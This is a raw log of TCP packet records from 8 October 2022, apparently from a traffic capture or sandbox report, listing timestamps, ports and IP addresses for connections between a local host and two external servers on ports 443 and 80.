Oct 8, 2022 11:34:05.415399075 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.415440083 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.415487051 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.415533066 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.415571928 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.416095018 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.416143894 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.416162014 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.416184902 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.416224003 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.416232109 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.416256905 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.416290045 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.416299105 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.416317940 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.416352034 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.416358948 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.416980982 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.417049885 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.417057991 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.417076111 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.417109013 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.417138100 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.417186975 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.417201042 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.417242050 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.417818069 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.417865992 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.417886019 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.417932034 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.417948008 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.417999983 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.418015957 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.418034077 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.418086052 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.418087006 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.418102980 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.418134928 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.418814898 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.418869972 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.418919086 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.418962955 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.418982983 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.419028997 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.419044971 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.419101954 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.419135094 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.419146061 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.419996023 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.420058012 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.420072079 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.420088053 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.420135975 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.420155048 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.420203924 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.420222998 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.420284986 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.420325994 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.420339108 CEST	443	49696	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:05.420418978 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:05.427365065 CEST	49696	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:25.899446011 CEST	49706	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:34:25.925369978 CEST	80	49706	103.136.42.153	192.168.2.3
Oct 8, 2022 11:34:25.925504923 CEST	49706	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:34:25.973865986 CEST	49706	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:34:25.999852896 CEST	80	49706	103.136.42.153	192.168.2.3
Oct 8, 2022 11:34:26.000966072 CEST	80	49706	103.136.42.153	192.168.2.3
Oct 8, 2022 11:34:26.202126026 CEST	49706	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:34:26.227204084 CEST	80	49706	103.136.42.153	192.168.2.3
Oct 8, 2022 11:34:26.227286100 CEST	49706	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:34:26.413537979 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:26.413597107 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:26.413697004 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:26.418409109 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:26.418447018 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:26.469172001 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:26.469307899 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.228365898 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.228403091 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.229012966 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.235004902 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.235045910 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.602040052 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.602140903 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.602297068 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.602348089 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.602355957 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.602411032 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.602480888 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.602562904 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.602583885 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.603421926 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.603509903 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.603533030 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.619189978 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.619267941 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.619268894 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.619302988 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.619365931 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.619812965 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.619863987 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.619891882 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.619915009 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.619972944 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.621220112 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.621304989 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.622481108 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.622554064 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.622591019 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.622615099 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.622680902 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.623660088 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.623718977 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.623737097 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.623754978 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.623827934 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.624404907 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.624488115 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.625314951 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.625369072 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.625371933 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.625386953 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.625442028 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.626224041 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.626275063 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.626282930 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.626297951 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.626341105 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.627068043 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.627118111 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.627937078 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.628000021 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.628001928 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.628021955 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.628066063 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.636343002 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.636419058 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.636477947 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.636501074 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.636543989 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.636569977 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.636620045 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.637473106 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.637553930 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.637733936 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.637803078 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.637803078 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.637819052 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.637877941 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.638650894 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.638714075 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.638787031 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.638803959 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.638854980 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.639316082 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.639377117 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.639861107 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.639925003 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.639940977 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.639956951 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.640012980 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.640024900 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.640042067 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.640080929 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.640795946 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.640862942 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.640906096 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.640963078 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.641691923 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.641757011 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.641769886 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.641786098 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.641819954 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.641855955 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.641871929 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.641918898 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.642406940 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.642465115 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.642482996 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.642533064 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.643244982 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.643316984 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.643322945 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.643341064 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.643383980 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.643404007 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.643460035 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.644115925 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.644174099 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.644192934 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.644236088 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.644253969 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.644313097 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.644957066 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.645065069 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.645076990 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.645231962 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.645275116 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.645284891 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.645308971 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.645354033 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.645363092 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.645831108 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.645873070 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.645885944 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.645908117 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.645961046 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.645977974 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.646023035 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.646064043 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.646074057 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.653848886 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.653911114 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.653915882 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.653944016 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.653979063 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.653979063 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.654025078 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.654062033 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.654155016 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.654200077 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.654215097 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.654253006 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.654273987 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.654313087 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.654324055 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.654361963 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.655174971 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.655251026 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.655255079 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.655273914 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.655358076 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.655370951 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.655396938 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.655457020 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.655471087 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.656044006 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.656120062 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.656124115 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.656147957 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.656181097 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.656207085 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.656249046 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.656754017 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.656815052 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.656841993 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.656852961 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.656884909 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.656897068 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.656905890 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.656941891 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.656950951 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.656970978 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.657006979 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.657416105 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.657475948 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.657483101 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.657497883 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.657537937 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.657568932 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.657634020 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.657668114 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.657676935 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.657706976 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.657747030 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.657754898 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.658293962 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.658355951 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.658365011 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.658385038 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.658426046 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.658452988 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.658502102 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.658519030 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.658560038 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.658581972 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.658626080 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.659236908 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.659305096 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.659322977 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.659367085 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.659399033 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.659445047 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.659466982 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.659509897 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.659527063 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.659571886 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.660068989 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.660114050 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.660130024 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.660167933 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.660186052 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.660238981 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.660518885 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.660562038 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.660588980 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.660628080 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.660656929 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.660706997 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.660721064 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.660936117 CEST	443	49707	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:27.660962105 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.660973072 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:27.944282055 CEST	49707	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:41.586642981 CEST	49708	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:34:41.620873928 CEST	80	49708	103.136.42.153	192.168.2.3
Oct 8, 2022 11:34:41.620968103 CEST	49708	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:34:41.629303932 CEST	49708	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:34:41.660599947 CEST	80	49708	103.136.42.153	192.168.2.3
Oct 8, 2022 11:34:41.662936926 CEST	80	49708	103.136.42.153	192.168.2.3
Oct 8, 2022 11:34:41.703365088 CEST	49708	80	192.168.2.3	103.136.42.153
Oct 8, 2022 11:34:42.138325930 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:42.138375044 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:42.138448954 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:42.146409988 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:42.146429062 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:42.193018913 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:42.193092108 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.417390108 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.417457104 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.418292046 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.452359915 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.452425957 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.630906105 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.630971909 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.631022930 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.631048918 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.631284952 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.631329060 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.631330967 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.631342888 CEST	443	49709	157.240.20.35	192.168.2.3
Oct 8, 2022 11:34:43.631376982 CEST	49709	443	192.168.2.3	157.240.20.35
Oct 8, 2022 11:34:43.631381989 CEST	443	49709	157.240.20.35	192.168.2.3
